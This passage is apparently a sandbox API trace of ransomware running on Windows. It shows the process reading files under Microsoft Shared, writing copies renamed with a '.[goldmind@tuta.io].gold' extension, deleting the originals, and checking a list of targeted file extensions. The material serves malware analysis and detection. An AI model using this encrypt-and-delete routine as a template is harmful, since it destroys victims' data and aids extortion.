tag\\lists\\1033\\dates.xml")) returned 0x20 [0039.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0039.334] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.334] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0039.619] GetLastError () returned 0x0 [0039.619] ReadFile (in: hFile=0x1fc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x22d6, lpOverlapped=0x0) returned 1 [0039.628] WriteFile (in: hFile=0x208, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0039.628] ReadFile (in: hFile=0x1fc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.628] WriteFile (in: hFile=0x208, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.628] SetEndOfFile (hFile=0x208) returned 1 [0039.628] CloseHandle (hObject=0x208) returned 1 [0039.629] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.629] SetEndOfFile (hFile=0x1fc) returned 1 [0039.630] CloseHandle (hObject=0x1fc) returned 1 [0039.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0039.630] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 1 [0039.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0039.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0039.630] lstrlenW (lpString=".doc") returned 4 [0039.630] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.631] lstrlenW (lpString=".docx") returned 5 [0039.631] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0039.631] lstrlenW (lpString=".pdf") returned 4 [0039.631] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.631] lstrlenW (lpString=".xls") returned 4 [0039.631] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.631] lstrlenW (lpString=".xlsx") returned 5 [0039.631] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0039.631] lstrlenW (lpString=".ppt") returned 4 [0039.631] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0039.631] lstrlenW (lpString=".zip") returned 4 [0039.631] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.631] lstrlenW (lpString=".rar") returned 4 [0039.631] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.631] lstrlenW (lpString=".bz2") returned 4 [0039.631] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.631] lstrlenW (lpString=".7z") returned 3 [0039.631] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0039.631] lstrlenW (lpString=".dbf") returned 4 [0039.631] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0039.631] lstrlenW (lpString=".1cd") returned 4 [0039.631] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0039.631] lstrlenW (lpString=".jpg") returned 4 [0039.631] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0039.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0039.631] lstrlenW (lpString=".doc") returned 4 [0039.631] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.631] lstrlenW (lpString=".docx") returned 5 [0039.631] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0039.631] lstrlenW (lpString=".pdf") returned 4 [0039.631] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.631] lstrlenW (lpString=".xls") returned 4 [0039.631] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.631] lstrlenW (lpString=".xlsx") returned 5 [0039.631] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0039.631] lstrlenW (lpString=".ppt") returned 4 [0039.631] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0039.631] lstrlenW (lpString=".zip") returned 4 [0039.631] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.631] lstrlenW (lpString=".rar") returned 4 [0039.631] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.631] lstrlenW (lpString=".bz2") returned 4 [0039.631] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.631] lstrlenW (lpString=".7z") returned 3 [0039.631] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0039.631] lstrlenW (lpString=".dbf") returned 4 [0039.631] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0039.632] lstrlenW (lpString=".1cd") returned 4 [0039.632] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0039.632] lstrlenW (lpString=".jpg") returned 4 [0039.632] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.632] lstrcmpiW (lpString1=".DAT", lpString2=".gold") returned -1 [0039.632] lstrlenW (lpString="STOCKS.DAT") returned 10 [0039.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0039.650] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=39017) returned 1 [0039.650] CloseHandle (hObject=0x1fc) returned 1 [0039.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0039.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0039.657] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.657] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.672] GetLastError () returned 0x0 [0039.672] ReadFile (in: hFile=0x1fc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x9869, lpOverlapped=0x0) returned 1 [0039.689] WriteFile (in: hFile=0x178, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x9870, lpOverlapped=0x0) returned 1 [0039.690] ReadFile (in: hFile=0x1fc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.690] WriteFile (in: hFile=0x178, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0039.690] SetEndOfFile (hFile=0x178) returned 1 [0039.690] CloseHandle (hObject=0x178) returned 1 [0039.691] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.691] SetEndOfFile (hFile=0x1fc) returned 1 [0039.692] CloseHandle (hObject=0x1fc) returned 1 [0039.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0039.692] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 1 [0039.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0039.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0039.693] lstrlenW (lpString=".doc") returned 4 [0039.693] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0039.693] lstrlenW (lpString=".docx") returned 5 [0039.693] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0039.693] lstrlenW (lpString=".pdf") returned 4 [0039.693] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0039.693] lstrlenW (lpString=".xls") returned 4 [0039.693] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0039.693] lstrlenW (lpString=".xlsx") returned 5 [0039.693] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0039.693] lstrlenW (lpString=".ppt") returned 4 [0039.693] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0039.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0039.693] lstrlenW (lpString=".zip") returned 4 [0039.693] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0039.693] lstrlenW (lpString=".rar") returned 4 [0039.693] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0039.693] lstrlenW (lpString=".bz2") returned 4 [0039.693] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0039.693] lstrlenW (lpString=".7z") returned 3 [0039.693] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0039.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0039.693] lstrlenW (lpString=".dbf") returned 4 [0039.693] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0039.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0039.693] lstrlenW (lpString=".1cd") returned 4 [0039.693] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0039.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0039.693] lstrlenW (lpString=".jpg") returned 4 [0039.693] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0039.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0039.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0039.693] lstrlenW (lpString=".doc") returned 4 [0039.693] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0039.694] lstrlenW (lpString=".docx") returned 5 [0039.694] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0039.694] lstrlenW (lpString=".pdf") returned 4 [0039.694] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0039.694] lstrlenW (lpString=".xls") returned 4 [0039.694] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0039.694] lstrlenW (lpString=".xlsx") returned 5 [0039.694] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0039.694] lstrlenW (lpString=".ppt") returned 4 [0039.694] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0039.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0039.694] lstrlenW (lpString=".zip") returned 4 [0039.694] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0039.694] lstrlenW (lpString=".rar") returned 4 [0039.694] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0039.694] lstrlenW (lpString=".bz2") returned 4 [0039.694] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0039.694] lstrlenW (lpString=".7z") returned 3 [0039.694] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0039.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0039.694] lstrlenW (lpString=".dbf") returned 4 [0039.694] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0039.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0039.694] lstrlenW (lpString=".1cd") returned 4 [0039.694] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0039.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0039.694] lstrlenW (lpString=".jpg") returned 4 [0039.694] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0039.694] lstrcmpiW (lpString1=".htm", lpString2=".gold") returned 1 [0039.694] lstrlenW (lpString="Bears.htm") returned 9 [0039.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0039.695] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=255) returned 1 [0039.695] CloseHandle (hObject=0x1fc) returned 1 [0039.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0039.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0039.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0039.696] lstrlenW (lpString=".doc") returned 4 [0039.696] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0039.696] lstrlenW (lpString=".docx") returned 5 [0039.696] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0039.696] lstrlenW (lpString=".pdf") returned 4 [0039.696] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0039.696] lstrlenW (lpString=".xls") returned 4 [0039.696] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0039.696] lstrlenW (lpString=".xlsx") returned 5 [0039.696] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0039.696] lstrlenW (lpString=".ppt") returned 4 [0039.696] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0039.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0039.696] lstrlenW (lpString=".zip") returned 4 [0039.696] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0039.696] lstrlenW (lpString=".rar") returned 4 [0039.696] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0039.696] lstrlenW (lpString=".bz2") returned 4 [0039.696] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0039.696] lstrlenW (lpString=".7z") returned 3 [0039.696] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0039.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0039.696] lstrlenW (lpString=".dbf") returned 4 [0039.696] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0039.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0039.696] lstrlenW (lpString=".1cd") returned 4 [0039.696] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0039.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0039.696] lstrlenW (lpString=".jpg") returned 4 [0039.696] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0039.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0039.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0039.696] lstrlenW (lpString=".doc") returned 4 [0039.696] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0039.696] lstrlenW (lpString=".docx") returned 5 [0039.697] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0039.697] lstrlenW (lpString=".pdf") returned 4 [0039.697] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0039.697] lstrlenW (lpString=".xls") returned 4 [0039.697] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0039.697] lstrlenW (lpString=".xlsx") returned 5 [0039.697] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0039.697] lstrlenW (lpString=".ppt") returned 4 [0039.697] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0039.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0039.697] lstrlenW (lpString=".zip") returned 4 [0039.697] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0039.697] lstrlenW (lpString=".rar") returned 4 [0039.697] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0039.697] lstrlenW (lpString=".bz2") returned 4 [0039.697] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0039.697] lstrlenW (lpString=".7z") returned 3 [0039.697] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0039.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0039.697] lstrlenW (lpString=".dbf") returned 4 [0039.697] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0039.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0039.697] lstrlenW (lpString=".1cd") returned 4 [0039.697] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0039.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0039.697] lstrlenW (lpString=".jpg") returned 4 [0039.697] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0039.697] lstrcmpiW (lpString1=".jpg", lpString2=".gold") returned 1 [0039.697] lstrlenW (lpString="Bears.jpg") returned 9 [0039.697] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0039.697] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1074) returned 1 [0039.697] CloseHandle (hObject=0x1fc) returned 1 [0039.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0039.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0039.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0039.698] lstrlenW (lpString=".doc") returned 4 [0039.698] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0039.698] lstrlenW (lpString=".docx") returned 5 [0039.698] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0039.698] lstrlenW (lpString=".pdf") returned 4 [0039.698] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0039.698] lstrlenW (lpString=".xls") returned 4 [0039.698] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0039.698] lstrlenW (lpString=".xlsx") returned 5 [0039.698] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0039.698] lstrlenW (lpString=".ppt") returned 4 [0039.698] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0039.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0039.698] lstrlenW (lpString=".zip") returned 4 [0039.698] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0039.698] lstrlenW (lpString=".rar") returned 4 [0039.698] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0039.698] lstrlenW (lpString=".bz2") returned 4 [0039.698] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0039.698] lstrlenW (lpString=".7z") returned 3 [0039.698] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0039.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0039.698] lstrlenW (lpString=".dbf") returned 4 [0039.698] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0039.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0039.698] lstrlenW (lpString=".1cd") returned 4 [0039.698] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0039.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0039.698] lstrlenW (lpString=".jpg") returned 4 [0039.698] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0039.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0039.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 